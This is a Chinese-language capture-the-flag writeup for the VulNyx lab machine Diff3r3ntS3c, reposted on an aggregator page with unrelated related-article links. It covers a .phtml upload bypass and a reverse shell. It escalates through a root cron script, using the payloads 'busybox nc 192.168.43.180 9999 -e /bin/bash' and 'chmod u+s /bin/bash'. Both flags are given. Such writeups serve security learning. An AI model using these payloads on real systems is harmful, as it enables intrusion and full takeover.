当前位置: 首页 > news >正文

vulnyx Diff3r3ntS3c writeup

信息收集

arp-scan

nmap

这里默认的话是只有80端口的,这个22端口是我拿到root后开的

获取userFlag

直接上web看看

扫个目录

把网页拉到最下面可以看到一个文件上传点

我们尝试上传一个php文件

失败了,那xxx呢

上传成功了,看来后端的后缀名校验是基于黑名单了,我们上传phtml试试

成功了,文件应该上传到了uploads目录里,去里面找找

果然能成功解析,看来这里的apache配置文件里是配置了将.phtml后缀的文件当作php文件解析的配置项的(在高版本的apache中默认只会将.php后缀当作php文件进行解析,除此之外需要手动配置)

后面就直接反弹shell了

拿到了candidate用户,这里cd无效的原因是因为没有配置$HOME环境变量。去看一下 /etc/passwd:

通过/etc/passwd发现普通用户确实就只有candiate这个用户,我们去它的家目录下就可以拿到userflag了:

userflag:9b71bc22041491a690f7c7b5fe0f4e8d

获取rootFlag 

在家目录下可以看到一个.script目录,进去可以看到一个makeBackup.sh

这个shell脚本的作用用于备份/var/www/html/uploads目录的,而在家目录里的.backups目录里有一个backup.tar.gz,解包后可以看到如下内容:

这正是我们之前在web上的uploads目录中看到的内容,这说明这个备份脚本已经被触发过了,所以可能存在一个定时任务来定时触发这个备份脚本。把pspy64 pull到靶机上执行

可以看到果然有定时任务触发了makeBackup.sh,而且它的UID是0,这就表示该定时任务是由root触发的,所以就可以利用这个点来提权了,手法有很多,我这里就介绍最容易想到的两个

手法一:利用定时任务反弹shell

在 makeBackup.sh 中写入以下内容:

#!/bin/bash
busybox nc 192.168.43.180 9999 -e /bin/bash

然后kali启动监听,等待定时任务执行,过一会后就可以拿到root shell了

然后去家目录下即可拿到root shell

手法二:利用定时任务给/bin/bash加上suid权限然后提权

makeBackup.sh中写入以下内容:

chmod u+s /bin/bash

等待定时任务执行,然后查看/bin/bash的权限

成功赋予suid权限了,然后通过 bash -p 提权即可 

然后去root家目录下拿到rootflag

rootflag:24886c4b2777d4359cd3dbd118741dda

http://www.xdnf.cn/news/1037341.html

相关文章:

  • CLONE:用于长距离任务的闭环全身人形机器人遥操作
  • C++之模板进阶
  • 多线程下 到底是事务内部开启锁 还是先加锁再开启事务?
  • 《人工智能时代与人类价值》读书简要笔记
  • [CVPR 2025] DeformCL:基于可变形中心线的3D血管提取新范式
  • Docker全平台安装指南:从零到一构建容器化环境(满级版)
  • GDI+ 中与GDI32取图形区域函数对比CreateEllipticRgn/CreatePolygonRgn
  • g++ a.cpp -o a ‘pkg-config --cflags --libs opencv4‘/usr/bin/ld: 找不到 没有那个文件或目录
  • [智能客服project] AI提示词配置 | 主协调器 | 闲鱼协议工具
  • PX4无人机|MID360使用FAST_LIO,实现自主定位及定点——PX4无人机配置流程(五)
  • Vue Methods 实现原理详解
  • 【数据集成与ETL 04】dbt实战指南:现代化数据转换与SQL代码管理最佳实践
  • 一个前端正则校验引发的问题
  • 马上行计划管理后端架构
  • 深度分析Javascript中的Promise
  • 动态多目标进化算法:基于迁移学习的动态多目标遗传算法Tr-NSGA-II求解CEC2015,提供完整MATLAB代码
  • python基础与数据类型
  • C# 枚 举(枚举)
  • Python Day51
  • pyspark非安装使用graphframes
  • PHP+mysql雪里开轻量级报修系统 V1.0Beta
  • Laravel 从版本 5 到 12 每个版本都引入了一些新的特性、改进和弃用的功能
  • rt-thread的定时器驱动(裸机版本)记录.
  • Flutter JSON解析全攻略:使用json_serializable实现高效序列化
  • java设计模式[1]之设计模式概览
  • 免费电子印章生成工具,可在线设计印章
  • TLSF 内存分配器
  • 通达信跟老庄追涨停指标公式
  • 【大模型分布式训练】多卡解决单卡训练内存不足的问题
  • Python学习笔记面向对象编程